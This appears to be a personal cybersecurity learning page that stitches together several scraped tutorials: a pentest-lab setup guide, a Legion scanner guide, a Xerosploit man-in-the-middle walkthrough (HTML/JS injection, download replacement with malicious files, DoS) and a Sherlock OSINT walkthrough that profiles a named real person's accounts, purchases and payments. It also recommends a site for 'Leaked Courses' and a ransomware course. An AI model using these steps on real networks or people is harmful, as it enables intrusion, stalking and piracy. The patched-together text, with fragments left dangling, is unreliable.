Hey There! .... I am a 17 Years old High schooler Loves to Play CTFs , Read, Explore and Create Different Topics about Cybersecurity, I Have Started From a Web Developer Field, I Came From a Web Developer and Doxing Background

I Have Worked With and Much Interest On The Following Fields:

Vulnerability Researching

C# | C | C++ | Python | Perl | Javascript | Bash | Rust | Golang | Sweft | Ruby | Powershell | XML | PHP | SQL | TypeScript | Carbon | Brainfuck

Red Team

Operating

Blue Team Defenses Mechanisms

Network Pivoting

Windows And Linux Priv Esc

Windows And Linux Persistence

JavaScript Obfuscation

Java Security

Anti-Virus and EPD And XDP Evasion

Governances Management

Windows Forensics

Active Directory Pentesting

Active Directory Management

Software Cracking

Buffer Overflows

Hardware Security

Hardware Hacking

Cloud Security

Incident Responds

Blockchain Security

Extreme Privacy

Advanced Ransomware

Reversing

Bypassing Firewalls

Metasploit

Tooling In Cybersecurity

Social Engineering

IOT Security

Log Analysis

Fuzzing

Cars Hacking

CTFs

Wireless Hacking

Raspary Pi Pentesting

IOS Jail Breaking And Zero Days Hunting

Linux 101

Linux Distros Development

Advanced API Security

Hacking Kernel And Windows Internals

Exploit Development In C++ ( For Hacking Games )

SQLI

XSS

Hex Buddy: web app pentesting troubleshooting windows, linux andiord mac ios open bsd Malware Analysis

exploit development malware development psychological skills oscp osep ejpt career advice binary exploitation

-------------------------------------------------------------------

In my free time I like To play CTFs and Cybersecurity / infosec Challenges online, Adding to that one of my most Favorite Types of Hobbies is Teaching People Cybersecurity From all around The World, Because I Believe that Knowledge is free and the only cost for knowledge is Hard Working and Desire to learn

Telegram : @HexBuddy127001

Instagram : hex_buddy

Twitter : @Hexbuddy127001

Donate For Me Plz !!!

This is My Bitcoin Address:

bc1qdlmjmcmr3wfqr6shpcgt3letmd93ps0qh3gqpm

If you are just getting started with penetration testing and ethical hacking, you will need a penetration testing lab to practice your skills and test the different security tools available.

This post will give you a step-by-step guide on setting up your virtual penetration testing lab and install the various operating systems and vulnerable machines you can start with.

Table of Contents

1. Why Setup A Virtual Penetration Testing Lab

   1. 1. Your safety

   2. 2. It’s isolated from the real-world environment

   3. 3. It’s a reliable testing platform

2. Understanding Virtualization Technology

3. Step 1. Download and Install VirtualBox on your PC

4. Step 2. Install Kali Linux on VirtualBox

5. Step 3. Install Windows 10 on VirtualBox

6. Step 4. Install Metasploitable

7. Final Thoughts

The most apparent reason you would need a penetration testing lab is to practice what you learn and test the different available security tools.

However, other than convenience, there are more reasons as to why you need a virtual lab.

1. Your safety

One is for your safety. Performing a penetration test on a system without permission from the owner is illegal and regarded as a computer crime. That can land you into trouble with the owner or even the authorities if issues escalate beyond control.

To avoid such problems and be on the safe side, you can host the various vulnerable machines available in your penetration testing lab and exploit them.

2. It’s isolated from the real-world environment

This is another reason why a penetration testing lab is necessary. Anything you perform in the lab does not affect the systems or people around you.

For example, if you are trying to get into malware analysis, you will deal with real viruses (the WannaCry ransomware). There is a high risk of this malware spreading through the computer network or even storage drives shared among people in a real-world scenario.

This virus will be isolated with a virtual testing lab and can only impact the installed virtual machine, whichs is much more manageable.

3. It’s a reliable testing platform

Finally, a virtual penetration testing lab is flexible and will provide you with a reliable platform for research and development.

You can develop new security tools, advanced exploitation tactics in a controlled environment without affecting any systems or networks around you.

Understanding Virtualization Technology

When setting up a penetration testing lab, you will have two options to choose from:

1. Use locally-hosted virtualization technology (Recommended)

2. Set up a home lab with additional computer devices and components available.

The latter (home lab) can be a little expensive and complicated to set up and manage. You will need to gather all computer devices and routers and use them to set up a lab. For example, you can have Computer A running your hacking distribution (say Kali Linux) and Computer B or C running your vulnerable machines (say DVWA or BWAPP). You will also need routers, switches, ethernet cables to manage the personal network.

Locally-hosted virtualization is much easier to set up, manage and only requires you to have one powerful PC that supports virtualization technology. That is the method that we will use in this post. Essentially, virtualization allows you to run more than one operating system on your computer. You will need to install virtualization software and use it to run the additional operating systems to get started. Some of the most common softwares are VirtualBox and VMware.

VirtualBox is a free and open-source virtualization software developed by Oracle distributed under the GNU General Public License (GPL) version 2.

VMware, on the other hand, is a commercial software company and has several products to offer. The only free version is the VMware Workstation Player intended for home or personal use. To get many more advanced features, including snapshots, you will need to upgrade to VMware Workstation pro.

Up to this point, I believe you have a good understanding of a penetration testing lab and the technology you need to come up with one.

Let’s dive in and set up our lab. Our virtualization software of choice for this post is VirtualBox.

Step 1. Download and Install VirtualBox on your PC

To get started, you will need to install VirtualBox on your current operating system. That can be Windows, Linux, or macOS. Additionally, install the VirtualBox guest Addition, which consists of drivers and system applications that improve the performance of your virtual machines. Other advantages of guest additions include:

• Mouse pointer integration

• Shared folders

• Improved video support

• Generic host/guest communication channels

• Seamless window management

• Shared clipboard

• Time synchronization

• Automated logins

After a successful install, proceed to launch the virtual box from the application menu.

Step 2. Install Kali Linux on VirtualBox

Once you have VirtualBox installed and running, we can start installing our virtual machines. We will begin by installing the penetration testing distribution of our choice.

In this post, we will use Kali Linux. However, that should not limit you from using other security operating systems like BlackArch Linux, Parrot, etc.

To install Kali Linux virtual machine, we will not need to download the setup ISO file and configure everything from scratch. Nowadays, Kali Linux comes packaged in several formats.

• Bare Metal setup – used to install Kali Linux on your PC in a single boot or multi-boot setup.

• Virtual machines: This option provides you with pre-configured virtual machine images to install on your virtualization software. As of writing this post, the only supported virtualization platforms are VMware and VirtualBox.

• ARM setup: Used for ARM devices such as the Raspberry Pi.

• Cloud setup

• Container setup (Docker)

• Live Boot setup

• WSL (Windows Subsystem for Linux)

In this post, we will download the Kali Linux virtual machine setup for VirtualBox from the official Kali Linux download page. It is a `.ova` file.

After the download is complete, launch VirtualBox from your applications menu and follow the steps below:

1. Click on the File menu and select Import Appliance. Alternatively, you can use the keyboard shortcut (Ctrl + I).

2. A new window will open. Click on the file icon, select the `Kali Linux.ova` file you downloaded, and click Next.

3. In the next window, you will see all the information about the virtual machine. Select the import option at the bottom to import the virtual machine.

After a successful import, you will see Kali Linux listed on your VirtualBox window, as shown in the image below.

You can tweak the settings of the virtual machine depending on your system resources. When done, click Start to boot the virtual machine. You don’t need to perform any configurations, just sit and wait till you get to the Kali Linux login screen.

The default credentials are:

• Username: Kali

• Password: Kali

Step 3. Install Windows 10 on VirtualBox

Microsoft’s Windows is the most popular operating system used worldwide. As an ethical hacker, you need to understand how to exploit and find vulnerabilities on Windows systems and software. For that case, we will also need to install Windows as a virtual machine – specifically Windows 10. You can download Windows 10 ISO file from Microsoft Official website.

Launch VirtualBox and follow the steps below to install Windows 10

1. Click New on the VirtualBox window

2. A small window will open. Enter the name of your new operating system (for example, Windows 10). Click Next.

3. Enter the memory size you wish to assign your new virtual machine and click Next.

4. In the next window, select Create a virtual hard disk now and click Next.

5. Select `VDI` (VirtualBox Disk Image)

6. Select whether you want to use the Dynamically allocated or Fixed Size hard disk on the next screen. Click Next.

7. Set the storage size of your Windows 10 virtual machine. Click Create.

That will create a Windows 10 virtual machine, as shown in the image below.

To install Windows 10 as a virtual machine, click the Start button on the VirtualBox window. A window will pop up and prompt you to select the Windows 10 ISO file you downloaded.

Click Start when done. After a few seconds, you will get to the Windows 10 installation screen.

Continue with the installation process like you were installing Windows natively on your PC.

When done, you can proceed to install Metasploitable.

Metasploitable is an intentionally vulnerable Linux-based system used to practice penetration testing.

Like the Kali Linux virtual machine, Metasploitable comes in a pre-configured virtual machine, making the whole installation easier.

Head over to SourceForge and download the Metasploitable VM.

After a successful download, launch VirtualBox and follow the steps below:

1. Click New on the VirtualBox window

2. Set a name for your virtualization machine (for example, `Metasploitable-2`). Click Next.

3. Set the memory (RAM) size. Metasploitable can run efficiently on 512 MB of RAM. Click Next.

4. On the next window, select “Use an existing virtual hard disk file.”

5. Click the file icon and select the Metasploitable VMDK file.

6. Click Create

You should now see Metasploitale virtual machine on your VirtualBox window as shown in the image below:

Click Start to launch Metasploitable.

This vulnerable machine doesn’t come with a Graphical User Interface (GUI). Therefore, when it’s fully booted, all you will see is a console. Use the following default credentials to log in:

• Username: msfadmin

• Password: msfadmin

Final Thoughts

This post has given you a step-by-step guide to setting up a virtual penetration testing guide. You can now use Kali Linux to exploit your target machines (Windows or Metapsploitable). However, that shouldn’t be the end. You can install more vulnerable machines like the Buggy Web Application (bWAPP), Bee Box, OWASP Broken Web Apps, and much more.

Additionally, depending on the field you want to specialize in, you can consider adding more advanced penetration testing systems. For example, if you’re going to specialize in web application security, try using the Samurai Web Testing Framework. Did you come across any issues, or do you have any additional information for our readers? Please, feel free to let us know in the comments and we’ll get back to you as soon as we can.

Introduction 🖐

In this post, you will learn what is legion and a full tutorial on the legion tool

Legion is an OSINT tool used for mapping and information gathering and this is the best tool for beginners to do network mapping.

The favourite part is the tool is in GUI format and why not everyone will like to work with GUI format…

The tool was developed by a NY based company called Govanguard and the source code is available on GitHub here is the link 👇 and also the link to the Govanguard company and their contact page. 🔻

1. Automatic recon and scanning with NMAP, Shodan, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer. Got a lot of tools twisted ito the tool…

2. GUI (grahical user interface) Very easy to use this tool.

3. Easily customizable and can load own scripts against target.

4. Highly customizable stage scanning for ninja-like IPS evasion.

5. Automatic detection of CVEs (Common Vulnerabilities and Exposures)

6. Realtime result saving.

The feature above is really 💯❤ Awesome and let’s see the commands in the tool…

Wait a min there is no command in the tool because the tool legion is in GUI format. 🤣

Just follow the below examples by end of this video you will be a pro in working with this tool cheers 🍻

Example1: Installing Legion

To install the tool just enter, I am on root so I am not entering sudo…

sudo apt-get install legion 

Example2: Load Legion

To load the tool enter legion on terminal

Example3: Interface

Click on the red marked area

Once you click you will see GUI like this 👇🏽

In the above image we are going with easy mode, Firstly enter IP or domain name on the target, Next, choose the mode I selected easy. Only if you select easy mode the easy mode option will be chosen.

Now select the host discovery and staged Nmap scan.

Next, select the time speed of the scan, I am going with normal use drag to set the time speed.

Once you click on submit

The scan will run and display the info 🔻

So, this is how to do a scan using legion tool and top you could find various features just go through it which are pretty simple.

Example4: Scanning

Doing hard scan,

To do a hard scan just enter the target in the box, you can also enter multiple targets and then choose hard as the mode.

Once you select hard you can choose the scan you wanna scan, An amazing feature and also down below you can enter your custom nmap command.

Then give submit ✔

This is how to do a hard scan in the legion tool

To learn more about the tool watch the video I made on Legion the video will be at the top of the post.

Conclusion

According to my knowledge, this is an amazing tool for beginners and this tool is dependent on others so, better learn here and move to advance tools like nmap.

Hello learners, we have learnt of how can be performed previously. In this article we will be using xerosploit app to perform these attacks on the targeted devices within our network. A combination use of xerosploit tool and which we did on our previous article, can be very resourceful when performing penetration testing on client devices. Some of these attacks which will be demonstrated in these guide can also be executed using other tools such as the . man in the middle attacks are a powerful tool especially when used for phishing on the client for important information.

WARNING:

Before performing an penetration testing on any network and device, make sure you obtained consent since hacking without consent of the victims is punishable by law.

Pre-requisites

1. Penetration Testing Linux Distro

2. Have a working WiFi card.

3. Basic Knowladge In Linux Command Line

4. Have a target device. (It should be connected to the same access point as you during the time of the attack).

Overview on Xerosploit

Xerosploit is a tool used by penetration testers to perform man in the middle attacks for the purpose of testing. It utilizes features found within the nmap and bettercap to carry out the attacks. These features include, Denial of Service and port scanning. Some of the features found within xerosploit include;

Port scanning - Attackers can carryout port scanning on the target device within their network to exploit open and unsecured port found on the client device.

• Network mapping - using xerosploit, an attacker is able to map the target network and identify the devices that are on the network.

• DoS attack - Xerosploit can be used to launch a Denial of Service attack on a specific device within a network.

• HTML code injection - HTML code injection can be used by attackers against in a device to lure the target client to disclose confidential information. i.e. Asking for confidential banking details.

• JavaScript code injection - Via advanced JavaScript code injection, an attacker can force the browser to perform actions mimicking the actions of a person. JavaScript codes can also be injected to allow the attacker to control the target device.

• Download interception and replacement - xerosploit allows the attacker to replace files being downloaded with malicious files on he client’s device.

• Background audio reproduction - Attackers can be able to play audio on the targets device via his/her browser.

• Webpage defacement - An attacker can deface a web page that is being visited by the client device.

Step-1: Installation

git clone https://github.com/LionSec/xerosploit

After downloading xerosploit tool we will navigate into its directory from and install r the tool to start using it.

cd xerosploit

sudo python install.py

After the installation is complete we can now run and start using the tool to perform man in the middle attacks

sudo python xerosploit.py

Step-2: Mapping the network/scanning the network

As shown on the image above, we are on the “home page” of xerosploit tool. You can use command ‘help’ to check the commands list and their functions as shown on the image below

We will scan the network using command “scan”. Depending on the size of your network, it may take a few seconds or even minutes to complete the scan.

Step-3: Choosing the target device

When scan is complete we are choose the target device on the network. You enter the target’s local IP address and press enter.

Step-4: Performing port scan

After selecting the target device, our first attack is to scan the open ports on our target system. To scan this, we will use the pscan module using command “pscan”. This command will check for open ports on our target device as shown on the image below.

Step-5: Inject HTML

This kind of attack is similar to the “inject Js” attack on xerosploit. However, in this attack, the attacker aims at adding HTML content to the webpage on an insecure website. To launch this attack we select to use the inject HTML module and specify the path to our HTML file on the computer as shown on the image below.

When the attacker reloads the page we can see the injected HTML content at the top of the web page as shown on the image below.

Step-6: Inject Js

Another attack which can be performed is injecting JavaScript code to a insecure website. Injecting JavaScript code can be used maliciously to ask for user’s personal details or perform other kinds of attacks. To run this kind of an attack is almost similar to replacing images, only that on this attack you specify the location of your JavaScript file instead.

We injected a JavaScript file with an alert to the user as shown on the image below.

Step-7: Replace

The replace module replaces all the images found on the page of an insecure website which is being visited by the target device. To run this attack, we will use command replace on the modules menu. Xerosploit tool just needs us to specify the location of the image file that we want to replace with as shown on the image below.

As you can see on the image above, we will provide the location of the image want to use then we reload the insecure website and see that all the images were replaced with the image that we just specified above.

Conclusion

On the above guide we were able to perform man in the middle attack on a target device on our network using xerosploit tool on Linux. This tool is a must have tool for pen-testers while performing penetration testing on networks. We were also able to illustrate how to use some of the modules on xerosploit to launch attacks related to them. There are other modules found on the tool that are resourceful to a pen-tester. Some of the modules include:

• dspoof — Redirect all the HTTP traffic to the specified one IP

• pscan — Port Scanner module

• deface — Overwrite all web pages with your HTML code

• dos — For Denial of Service attacks

• ping — To send oing requests to the target

• injecthtml — Injects HTML code while visiting insecure websites

• injectjs — Inject Javascript code while visiting insecure websites

• rdownload — Replace files being downloaded from insecure websites

• sniff — Captures information inside network packets

• yplay — Play background sound in target browser

• replace — Replace all web pages images with your own one

• driftnet — View all images requested by your targets

• move — Shakes Web Browser Content

When researching a person using open source intelligence, the goal is to find clues that tie information about a target into a bigger picture. Screen names are perfect for this because they are unique and link data together, as people often reuse them in accounts across the internet. With Sherlock, we can instantly hunt down social media accounts created with a unique screen name on many online platforms simultaneously.

From a single clue like an email address or screen name, Sherlock can grow what we know about a target piece by piece as we learn about their activity on the internet. Even if a person is careful, their online contacts may not be, and it's easy to slip up and leave default privacy setting enabled on apps like Venmo. A single screen name can reveal many user accounts created by the same person, potentially introducing photos, accounts of family members, and other avenues for collecting further information.

What Sherlock Can Find

Social media accounts are rich sources of clues. One social media account may contain links to others which use different screen names, giving you another round of searching to include the newly discovered leads. Images from profile photos are easy to put into a reverse image search, allowing you to find other profiles using the same image whenever the target has a preferred profile photo.

Even the description text in a profile may often be copied and pasted between profiles, allowing you to search for profiles created with identical profile text or descriptions. For our example, I'll be taking the suggestion of a fellow Null Byte writer to target the social media accounts of Neil Breen, director of many very intense movies such as the classic hacker film Fateful Findings.

What You'll Need

Python 3.6 or higher is required, but aside from that, you'll just need pip3 to install Sherlock on your computer. I had it running on macOS and Ubuntu just fine, so it seems to be cross-platform. If you want to learn more about the project, you can check out its simple GitHub page.

Step 1: Install Python & Sherlock

To get started, we can follow the instructions included in the GitHub repository. In a new terminal window, run the following commands to install Sherlock and all dependencies needed.

~$ git clone https://github.com/sherlock-project/sherlock.git
~$ cd sherlock
~/sherlock$ pip3 install -r requirements.txt

If something fails, make sure you have python3 and python3-pip installed, as they're required for Sherlock to install. Once it's finished installing, you can run python3 sherlock.py -h from inside the /sherlock folder to see the help menu.

~/sherlock$ python3 sherlock.py -h

usage: sherlock.py [-h] [--version] [--verbose] [--rank]
                   [--folderoutput FOLDEROUTPUT] [--output OUTPUT] [--tor]
                   [--unique-tor] [--csv] [--site SITE_NAME]
                   [--proxy PROXY_URL] [--json JSON_FILE]
                   [--proxy_list PROXY_LIST] [--check_proxies CHECK_PROXY]
                   [--print-found]
                   USERNAMES [USERNAMES ...]

Sherlock: Find Usernames Across Social Networks (Version 0.5.8)

positional arguments:
  USERNAMES             One or more usernames to check with social networks.

optional arguments:
  -h, --help            show this help message and exit
  --version             Display version information and dependencies.
  --verbose, -v, -d, --debug
                        Display extra debugging information and metrics.
  --rank, -r            Present websites ordered by their Alexa.com global
                        rank in popularity.
  --folderoutput FOLDEROUTPUT, -fo FOLDEROUTPUT
                        If using multiple usernames, the output of the results
                        will be saved at this folder.
  --output OUTPUT, -o OUTPUT
                        If using single username, the output of the result
                        will be saved at this file.
  --tor, -t             Make requests over TOR; increases runtime; requires
                        TOR to be installed and in system path.
  --unique-tor, -u      Make requests over TOR with new TOR circuit after each
                        request; increases runtime; requires TOR to be
                        installed and in system path.
  --csv                 Create Comma-Separated Values (CSV) File.
  --site SITE_NAME      Limit analysis to just the listed sites. Add multiple
                        options to specify more than one site.
  --proxy PROXY_URL, -p PROXY_URL
                        Make requests over a proxy. e.g.
                        socks5://127.0.0.1:1080
  --json JSON_FILE, -j JSON_FILE
                        Load data from a JSON file or an online, valid, JSON
                        file.
  --proxy_list PROXY_LIST, -pl PROXY_LIST
                        Make requests over a proxy randomly chosen from a list
                        generated from a .csv file.
  --check_proxies CHECK_PROXY, -cp CHECK_PROXY
                        To be used with the '--proxy_list' parameter. The
                        script will check if the proxies supplied in the .csv
                        file are working and anonymous.Put 0 for no limit on
                        successfully checked proxies, or another number to
                        institute a limit.
  --print-found         Do not output sites where the username was not found.

As you can see, there are lots of options here, including options for using Tor. While we won't be using them today, these features can come in handy when we don't want anyone to know who is making these requests directly.

Step 2: Identify a Screen Name

Now that we can see how the script runs, it's time to run a search. We'll load up our target, Neil Breen, with a screen name found by running a Google search for "Neil Breen" and "Twitter."

That's our guy. The screen name we'll be searching is neilbreen. We'll format that as the following command, which will search for accounts across the internet with the username "neilbreen" and print only the results that it finds. It will significantly reduce the output, as the majority of queries will usually come back negative. The final argument, -r, will organize the list of found accounts by which websites are most popular.

~/sherlock$ python3 sherlock.py neilbreen -r --print-found

Step 3: Scan for Accounts

Upon running this command, we will see a lot of output without the --print found flag regardless of the results. In our neilbreen example, we are taken on a virtual tour of Neil Breen's life across the internet.

~/sherlock$ python3 sherlock.py neilbreen -r --print-found

                                              ."""-.
                                             /      \
 ____  _               _            _        |  _..--'-.
/ ___|| |__   ___ _ __| | ___   ___| |__    >.`__.-""\;"`
\___ \| '_ \ / _ \ '__| |/ _ \ / __| |/ /   / /(     ^\
 ___) | | | |  __/ |  | | (_) | (__|   <    '-`)     =|-.
|____/|_| |_|\___|_|  |_|\___/ \___|_|\_\    /`--.'--'   \ .-.
                                           .'`-._ `.\    | J /
                                          /      `--.|   \__/

[*] Checking username neilbreen on:
[+] Google Plus: https://plus.google.com/+neilbreen
[+] Facebook: https://www.facebook.com/neilbreen
[+] Twitter: https://www.twitter.com/neilbreen
[+] VK: https://vk.com/neilbreen
[+] Reddit: https://www.reddit.com/user/neilbreen
[+] Twitch: https://m.twitch.tv/neilbreen
[+] Ebay: https://www.ebay.com/usr/neilbreen
[-] Error Connecting: GitHub
[-] GitHub: Error!
[+] Imgur: https://imgur.com/user/neilbreen
[+] Pinterest: https://www.pinterest.com/neilbreen/
[-] Error Connecting: Roblox
[-] Roblox: Error!
[+] Spotify: https://open.spotify.com/user/neilbreen
[+] Steam: https://steamcommunity.com/id/neilbreen
[+] SteamGroup: https://steamcommunity.com/groups/neilbreen
[+] SlideShare: https://slideshare.net/neilbreen
[+] Medium: https://medium.com/@neilbreen
[-] Error Connecting: Scribd
[-] Scribd: Error!
[+] Academia.edu: https://independent.academia.edu/neilbreen
[+] 9GAG: https://9gag.com/u/neilbreen
[-] Error Connecting: GoodReads
[-] GoodReads: Error!
[+] Wattpad: https://www.wattpad.com/user/neilbreen
[+] Bandcamp: https://www.bandcamp.com/neilbreen
[+] Giphy: https://giphy.com/neilbreen
[+] last.fm: https://last.fm/user/neilbreen
[+] AskFM: https://ask.fm/neilbreen
[+] Disqus: https://disqus.com/neilbreen
[+] Tinder: https://www.gotinder.com/@neilbreen
[-] Error Connecting: Kongregate
[-] Kongregate: Error!
[+] Letterboxd: https://letterboxd.com/neilbreen
[+] 500px: https://500px.com/neilbreen
[+] Newgrounds: https://neilbreen.newgrounds.com
[-] Error Connecting: Trip
[-] Trip: Error!
[+] Venmo: https://venmo.com/neilbreen
[+] NameMC (Minecraft.net skins): https://namemc.com/profile/neilbreen
[+] Repl.it: https://repl.it/@neilbreen
[-] Error Connecting: StreamMe
[-] StreamMe: Error!
[+] CashMe: https://cash.me/neilbreen
[+] Kik: https://ws2.kik.com/user/neilbreen

Aside from this output, we've also got a handy text file that's been created to store the results. Now that we have some links, let's get creepy and see what we can find from the results.

Step 4: Check Target List for More Clues

To review our target list, type ls to locate the text file that was created. It should be, in our example, neilbreen.txt.

~/sherlock$ ls

CODE_OF_CONDUCT.md  install_packages.sh  __pycache__       screenshot    tests
CONTRIBUTING.md     LICENSE              README.md         sherlock.py
data.json           load_proxies.py      removed_sites.md  site_list.py
Dockerfile          neilbreen.txt        requirements.txt  sites.md

We can read the contents by typing the following cat command, which gives us plenty of URL targets to pick from.

~/sherlock$ cat neilbreen.txt

https://plus.google.com/+neilbreen
https://www.facebook.com/neilbreen
https://www.twitter.com/neilbreen
https://vk.com/neilbreen
https://www.reddit.com/user/neilbreen
https://m.twitch.tv/neilbreen
https://www.ebay.com/usr/neilbreen
https://imgur.com/user/neilbreen
https://www.pinterest.com/neilbreen/
https://open.spotify.com/user/neilbreen
https://steamcommunity.com/id/neilbreen
https://steamcommunity.com/groups/neilbreen
https://slideshare.net/neilbreen
https://medium.com/@neilbreen
https://independent.academia.edu/neilbreen
https://9gag.com/u/neilbreen
https://www.wattpad.com/user/neilbreen
https://www.bandcamp.com/neilbreen
https://giphy.com/neilbreen
https://last.fm/user/neilbreen
https://ask.fm/neilbreen
https://disqus.com/neilbreen
https://www.gotinder.com/@neilbreen
https://letterboxd.com/neilbreen
https://500px.com/neilbreen
https://neilbreen.newgrounds.com
https://venmo.com/neilbreen
https://namemc.com/profile/neilbreen
https://repl.it/@neilbreen
https://cash.me/neilbreen
https://ws2.kik.com/user/neilbreen

A few of these we can rule out, like Google Plus, which has now shut down. Others can be much more useful, depending on the type of result we get. Due to Neil Breen's international superstar status, there are many fan accounts sprinkled in here. We'll need to use some common-sense techniques to rule them out while trying to locate more information about this living legend.

First, we see that there is a Venmo and Cash.me account listed. While these don't pan out here, many people leave their Venmo payments public, allowing you to see who they are paying and when. In this example, it appears this account was set up by a fan to accept donations on behalf of Neil Breen. A dead end.

Next, we move down the list, which is organized by a ranking of which sites are most popular. Here, we see an account that's more likely to be a personal account.

The link above also takes us to a very insecure website for a Neil Breen movie called "Pass-Thru" which could, and probably does, have many vulnerabilities.

• Don't Miss: How to Use Facial Recognition to Conduct OSINT Analysis

A reverse image search of Neil's Letterboxd and Twitter profile images also locate another screen name the target uses: neil-breen. It leads back to an active Quora account where the target advises random strangers.

Already, we've taken one screen name, and through the profile image, found another screen name that we didn't initially know about.

Another common source of information are websites people use to share information. Things like SlideShare or Prezi allow users to share presentations that are visible to the public.

If the target has made any presentations for work or personal reasons, we can see them here. In our case, we didn't find much. But a search through the Reddit account we found shows that the account dates back to before Neil Breen got huge.

The first post is promoting his movie, so that plus the age of the account means it's likely this one is legit. We can see that Neil likes Armani exchange, struggles with technology, and is trying to get ideas for where to set his next movie.

Finally, our crown gem is an active eBay account, which allows us to see many things Neil buys and read reviews from sellers he's had transactions with.

The info here lets us dig into hobbies, professional projects, and other details leaked through purchases verified by eBay and listed publicly under that screen name.

Sherlock Can Connect the Dots Across User Accounts

As we found during our sample investigation, Sherlock provides a lot of clues to locate useful details about a target. From Venmo financial transactions to alternative screen names found through searching for favorite profile photos, Sherlock can bring in a shocking amount of personal details. The next step in our investigation would be to rerun Sherlock with the new screen names we've located during our first run, but we'll leave Neil alone for today.

What is a Hacker ?

No am not going to use Google, In Simple Words a Hacker is a Person who Tries To Gain access to a System Or Network in an Unusual way ( Ethical Hacker )

Hacking is a creative sport and it's a collaborative sport people team up and you can team up over the Internet and having the best hackers out there give their best for a couple of weeks and then you get this creative outburst that you will never have seen before, also, on a technological level, you get the opportunity to see infrastructure that you've never seen before or new technologies that you have never seen before, it's really awesome to see everybody working and making the Internet safer, that is the true power of a Hacker

A lot of people think of hackers as geeky computer nerds who live in their parent's basement, and spread computer viruses. But, I don't see it that way. Hackers are innovators. Hackers are people who challenge and change the systems to make them work differently, to make them work better. It's just how they think, it's a mindset. I'm growing up in a world that needs more people with the hacker mindset, and not just for technology. Everything is up for being hacked, even skiing, even education. So whether it's Steve Jobs, Mark Zuckerberg or Shane McConkey, having the hacker mindset can change the world. Healthy, happy, creativity, and the hacker mindset are all a large part of my education

- Logan LaPlante

How ?

Well...

its a Sort of Hard Question To answer Cuz every Person have his own way of understanding how things works and operates .... Although There Is un-countable number of resources out there whether they were Videos, Blogs, Articles or Git books like this you are Reading

Getting Started With No Experience And Do Not Where To Start

So as a beginner ... Uncle YouTube is going to be your best and first friend in this long journey ... YouTube contains a content for all levels in cybersecurity ... especially now days content creators about cybersecurity and computer science and security are getting better and spreading much more everyday ... BUT !!!! ... in this " Getting Started " Part ... I will be sharing Videos and Courses (Playlists) that i recommend watching as a no experience person intrested in cybersecurity

Important Note For Beginners

Number 0 : Professor Messer

this person is amazing at creating content and courses for Free for people are interested in CompTIA+ and they wanna get familiar with technologies out there ... i recommend checking out the " Training Playlists " ... starting with this Playlist .... watch the Video on YouTube To See the Full Playlist :-

WARNING: Watch This Video On YouTube To Access The Full Playlist

Number 1 :- Computerphile

This Channel Gives You An Essential Necessary Knowledge That You Will Need In The Future

I would Recommend Watching a Video Every Day If You Can ... It Would Be Freaking Informative

Number 2 :-

This Video is really informative .... Its Unlike all other Tutorials ... He will Explain How the Programming and coding Process Start From the Hard Disk Until The Code Execution In The Memory :-

NEED 2 KNOW :

In The Above Video, You Don't Need to Understand All The Shit ... You Only Need To LIsten and Start Asking Questions To Google ... Learning New Vocabularies In Cybersecurity Is Your Key To Open The Door Of Questions

Number 3 : How To Get Into Hacking ? :- MOST USEFUL ADVICE ON THE PLANET !!!

Number 4 : Understanding Cryptography :

Cryptography Is Really necessarily important If We Are Talking From The Tech Side ... Is a Defensive Machinism Used In Nearly Every Computer System Or Operation ... So Understanding It Will Give Us the Ability TO Break, Defend and Even Build a More Better Encrypted Network And Tech Services To The Online Users

Those Are URLs (YouTube Playlists) To The Most Useful Cryptography from The Security Perspective That I had Ever seen

1. Introduction to Cryptography by Christof Paar

https://www.youtube.com/playlist?list=PL2jrku-ebl3H50FiEPr4erSJiJHURM9BX

2. Cryptography & Network Security By Neso Academy

https://www.youtube.com/playlist?list=PLBlnK6fEyqRgJU3EsOYDTW7m6SUmW6kII

Number 5 :

Security Study Plan

Complete Practical Study Plan to become a successful cybersecurity engineer based on roles like Pentest, AppSec, Cloud Security, DevSecOps and so on...

My Resources For Learning Cybersecurity

Some Useful Resources for beginners in Cybersecurity and Ethical hacking

------------------------------------------------------------------------------------

My "Secret" Hacker Library

This Website Above Is Freaking Incredible For Leaked Courses And Tools ... Enjoy it

Links To Most Educative Courses

Pen200 - OSCP

AWAE - OSWE

Pen300 - OSEP

Active Directory Pentesting With Kali Linux - Full Bootcamp

Art Of Making Real-World Ransomware With Java and Defences!

Ultimate Ethical Hacking Bootcamp 2021 - Full Program

OSCP Biggest Cheat Sheet ON THE INTERNET !!!

Reverse Engineering And Exploit Development Basics

CPENT - Certified Penetration Tester

TCM Academy - Linux 101

Nmap Non-Sence Course

Plularsight - Malware Analysis Full Training Bootcamp

Practical Malware Analysis & Triage

Red Team Operator - Malware Development Essentials

Red Team Operator - Malware Development Intermediate

Red Team Operator Windows Persistence

Linux Rootkits for Red-Blue Teams

# Amazing Resources

Hacktricks

One of the Best Cybersecurity Gitbooks Online, Filled With Amazing Notes About Hacking, Forensics, CTFs, Binary Exploitation, Hardware, Kernels, Exploitation And Much More !!

Pentesting For N00bs By Heath Adams

Now This Playlist Will GIve You The Basic Skills to start "Swiftly" into Discovering, Learning and Even Building The Career ... or Which I call "Hands On Terminal" ... So I reeally Recommend it For People Who is New To The Field

Watch The Full Playlist On Youtube: https://www.youtube.com/playlist?list=PLLKT__MCUeiyxF54dBIkzEXT7h8NgqQUB

Stream VODs By Alh4zr3d

This Playlist Will Simply Show You How People Think And Try To Solve Problems In Cybersecurity Thru Solving CTF Challenges

Watch the Full Playlist In Youtube: https://www.youtube.com/playlist?list=PLi4eaGO3umboaOqaot7Oi7WszkSWRc4Pi

Nightmare - Binary Exploitation By guyinatuxedo

This Repo Is the reason i got Experienced in Binary Exploitation and Reverse Engineering through playing CTFs ... Highly Recommend it out

Active Directory Exploitation Cheat Sheet By S1ckB0y1337

This GitHub Repo Contains all the tooling techniques that you would need in an AD Pentest

VK9 Security

Another Red, Blue and Purple Teams Engagement Online Blog Posting Service

Performance Ninja By Denis Bakhvalov

Performance Ninja Class is a FREE self-paced online course for developers who want to master Software performance tuning.

In this course, you will practice analyzing and improving performance of your application.

It is NOT a course on algorithms and data structures. Instead, we focus on low-level CPU-specific performance issues, like cache misses, branch mispredictions, etc.

WARNING: Watch This Video On Youtube To Access The Full Playlist

---------------------------------------------------------------

My Favorite Blogs

----------------------------------------------------------------------------------

Learn Programming & Automation

Programming For Cybersecurity :

C & C++ Basic Development :

Master Most Used Programming Languages Now Days :

Free Programming Basics Channel ( My Favorite btw ;) ) :

Contains Couples Playlists About Prigramming In Few Langs

-----------------------------------------------------------------

My Favorite YouTube Channels For Cybersecurity:-

